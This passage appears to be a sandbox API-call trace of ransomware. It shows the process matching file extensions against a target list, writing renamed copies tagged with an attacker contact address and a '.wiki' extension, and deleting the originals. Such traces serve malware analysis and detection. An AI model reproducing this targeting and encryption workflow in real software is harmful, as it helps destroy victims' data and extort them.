Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.344] lstrlenW (lpString=".doc") returned 4 [0189.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.344] lstrlenW (lpString=".docx") returned 5 [0189.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.344] lstrlenW (lpString=".pdf") returned 4 [0189.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.344] lstrlenW (lpString=".xls") returned 4 [0189.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.344] lstrlenW (lpString=".xlsx") returned 5 [0189.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.344] lstrlenW (lpString=".ppt") returned 4 [0189.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.344] lstrlenW (lpString=".zip") returned 4 [0189.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.344] lstrlenW (lpString=".rar") returned 4 [0189.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString=".bz2") returned 4 [0189.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString=".7z") returned 3 [0189.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString=".dbf") returned 4 [0189.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString=".1cd") returned 4 [0189.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString=".jpg") returned 4 [0189.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString=".doc") returned 4 [0189.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString=".docx") returned 5 [0189.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.345] lstrlenW (lpString=".pdf") returned 4 [0189.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString=".xls") returned 4 [0189.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.345] lstrlenW (lpString=".xlsx") returned 5 [0189.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.345] lstrlenW (lpString=".ppt") returned 4 [0189.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.345] lstrlenW (lpString=".zip") returned 4 [0189.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.345] lstrlenW (lpString=".rar") returned 4 [0189.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.346] lstrlenW (lpString=".bz2") returned 4 [0189.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.346] lstrlenW (lpString=".7z") returned 3 [0189.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.346] lstrlenW (lpString=".dbf") returned 4 [0189.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.346] lstrlenW (lpString=".1cd") returned 4 [0189.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.346] lstrlenW (lpString=".jpg") returned 4 [0189.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.346] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.346] lstrlenW (lpString="HH00057_.WMF") returned 12 [0189.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.346] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3764) returned 1 [0189.347] CloseHandle (hObject=0x1d8) returned 1 [0189.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0189.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.347] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.347] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.347] GetLastError () returned 0x0 [0189.347] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xeb4, lpOverlapped=0x0) returned 1 [0189.349] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec0, lpOverlapped=0x0) returned 1 [0189.350] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.350] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.350] SetEndOfFile (hFile=0x1f8) returned 1 [0189.350] CloseHandle (hObject=0x1f8) returned 1 [0189.350] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.350] SetEndOfFile (hFile=0x1d8) returned 1 [0189.354] CloseHandle (hObject=0x1d8) returned 1 [0189.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0189.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.354] lstrlenW (lpString=".doc") returned 4 [0189.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.354] lstrlenW (lpString=".docx") returned 5 [0189.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.354] lstrlenW (lpString=".pdf") returned 4 [0189.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.354] lstrlenW (lpString=".xls") returned 4 [0189.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.354] lstrlenW (lpString=".xlsx") returned 5 [0189.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.355] lstrlenW (lpString=".ppt") returned 4 [0189.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString=".zip") returned 4 [0189.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.355] lstrlenW (lpString=".rar") returned 4 [0189.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString=".bz2") returned 4 [0189.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString=".7z") returned 3 [0189.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString=".dbf") returned 4 [0189.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString=".1cd") returned 4 [0189.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString=".jpg") returned 4 [0189.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.355] lstrlenW (lpString=".doc") returned 4 [0189.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString=".docx") returned 5 [0189.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.355] lstrlenW (lpString=".pdf") returned 4 [0189.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.355] lstrlenW (lpString=".xls") returned 4 [0189.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.355] lstrlenW (lpString=".xlsx") returned 5 [0189.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.356] lstrlenW (lpString=".ppt") returned 4 [0189.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.356] lstrlenW (lpString=".zip") returned 4 [0189.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.356] lstrlenW (lpString=".rar") returned 4 [0189.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.356] lstrlenW (lpString=".bz2") returned 4 [0189.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.356] lstrlenW (lpString=".7z") returned 3 [0189.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.356] lstrlenW (lpString=".dbf") returned 4 [0189.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.356] lstrlenW (lpString=".1cd") returned 4 [0189.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0189.356] lstrlenW (lpString=".jpg") returned 4 [0189.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.356] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.356] lstrlenW (lpString="HH00084_.WMF") returned 12 [0189.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.357] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2472) returned 1 [0189.357] CloseHandle (hObject=0x1d8) returned 1 [0189.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0189.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.357] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.357] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.358] GetLastError () returned 0x0 [0189.358] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x9a8, lpOverlapped=0x0) returned 1 [0189.359] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0189.360] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.360] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.360] SetEndOfFile (hFile=0x1f8) returned 1 [0189.360] CloseHandle (hObject=0x1f8) returned 1 [0189.360] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.360] SetEndOfFile (hFile=0x1d8) returned 1 [0189.361] CloseHandle (hObject=0x1d8) returned 1 [0189.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0189.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.361] lstrlenW (lpString=".doc") returned 4 [0189.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString=".docx") returned 5 [0189.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.362] lstrlenW (lpString=".pdf") returned 4 [0189.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString=".xls") returned 4 [0189.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.362] lstrlenW (lpString=".xlsx") returned 5 [0189.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.362] lstrlenW (lpString=".ppt") returned 4 [0189.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString=".zip") returned 4 [0189.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.362] lstrlenW (lpString=".rar") returned 4 [0189.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString=".bz2") returned 4 [0189.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString=".7z") returned 3 [0189.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString=".dbf") returned 4 [0189.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString=".1cd") returned 4 [0189.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString=".jpg") returned 4 [0189.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.362] lstrlenW (lpString=".doc") returned 4 [0189.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString=".docx") returned 5 [0189.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.363] lstrlenW (lpString=".pdf") returned 4 [0189.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString=".xls") returned 4 [0189.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.363] lstrlenW (lpString=".xlsx") returned 5 [0189.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.363] lstrlenW (lpString=".ppt") returned 4 [0189.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.363] lstrlenW (lpString=".zip") returned 4 [0189.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.363] lstrlenW (lpString=".rar") returned 4 [0189.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString=".bz2") returned 4 [0189.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString=".7z") returned 3 [0189.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.363] lstrlenW (lpString=".dbf") returned 4 [0189.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.363] lstrlenW (lpString=".1cd") returned 4 [0189.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0189.363] lstrlenW (lpString=".jpg") returned 4 [0189.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.363] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.364] lstrlenW (lpString="HH00231_.WMF") returned 12 [0189.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.364] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2232) returned 1 [0189.364] CloseHandle (hObject=0x1d8) returned 1 [0189.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0189.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.364] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.364] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.365] GetLastError () returned 0x0 [0189.365] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x8b8, lpOverlapped=0x0) returned 1 [0189.366] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0189.367] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.367] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.367] SetEndOfFile (hFile=0x1f8) returned 1 [0189.368] CloseHandle (hObject=0x1f8) returned 1 [0189.368] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.368] SetEndOfFile (hFile=0x1d8) returned 1 [0189.368] CloseHandle (hObject=0x1d8) returned 1 [0189.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0189.369] lstrlenW (lpString=".doc") returned 4 [0189.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.369] lstrlenW (lpString=".docx") returned 5 [0189.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.369] lstrlenW (lpString=".pdf") returned 4 [0189.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.369] lstrlenW (lpString=".xls") returned 4 [0189.369] lstrcmpiW (lpString1=".xls", 